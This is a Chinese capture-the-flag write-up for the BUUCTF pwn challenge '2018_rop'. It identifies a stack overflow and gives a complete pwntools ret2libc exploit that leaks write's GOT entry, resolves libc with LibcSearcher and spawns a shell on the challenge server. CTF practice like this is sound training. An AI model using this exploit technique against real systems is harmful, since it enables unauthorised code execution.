BUUCTF-PWN-铁人三项(第五赛区)_2018_rop

102次阅读
没有评论

共计 939 个字符,预计需要花费 3 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 10:29,文中所关联的信息可能已发生改变,请知悉!

checksec

BUUCTF-PWN- 铁人三项(第五赛区)_2018_rop

IDA

BUUCTF-PWN- 铁人三项(第五赛区)_2018_rop

be_nice_to_people函数不知道在干什么,这道题好像也不需要管

vulnerable_function函数中有一个溢出点

BUUCTF-PWN- 铁人三项(第五赛区)_2018_rop

所以这题的思路是用 write 函数来计算 system 函数和 binsh 的地址

EXP

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote('node4.buuoj.cn', 29883)
# p = process('./2018_rop')
elf = ELF('./2018_rop')

main_addr = elf.sym['main']
print(hex(main_addr))
write_plt = elf.plt['write']
write_got = elf.got['write']

p.sendline(flat(b'a' * (0x88 + 0x4), p32(write_plt), p32(main_addr), p32(1), p32(write_got), p32(4)))
write_addr = u32(p.recv(4))
print(hex(write_addr))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

# p.recvuntil('Hello, World\n')
p.sendline(flat(b'a' * (0x88 + 0x4), p32(system_addr), p32(main_addr), p32(binsh_addr)))

p.interactive()

结果

BUUCTF-PWN- 铁人三项(第五赛区)_2018_rop

从上往下尝试,0 不行,到 1 的时候就可以了

BUUCTF-PWN- 铁人三项(第五赛区)_2018_rop

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-01-18发表,共计939字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)